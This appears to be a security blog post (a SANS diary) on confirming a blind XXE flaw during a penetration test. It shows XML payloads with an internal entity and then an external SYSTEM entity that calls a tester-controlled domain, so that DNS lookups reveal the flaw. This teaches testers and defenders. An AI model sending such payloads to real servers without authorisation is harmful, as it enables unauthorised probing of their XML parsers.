Blindly confirming XXE
Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it at https://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications.
Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files.
In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not.
So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option.
Almost like blind SQL injection
This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally:
<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>Test</DocumentPointer>
</Document>
</DocumentLayer>
Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed:
<!DOCTYPE DocumentLayer [
<!ELEMENT DocumentLayer ANY>
<!ENTITY xxe "Test"> ]>
<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>&xxe;</DocumentPointer>
</Document>
</DocumentLayer>
Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool.
The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied.
So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server:
<!DOCTYPE DocumentLayer [
<!ELEMENT DocumentLayer ANY>
<!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]>
<DocumentLayer>
<Document InternalID="1">
<DocumentPointer>&xxe;</DocumentPointer>
</Document>
</DocumentLayer>
While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application.
So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched.
Comments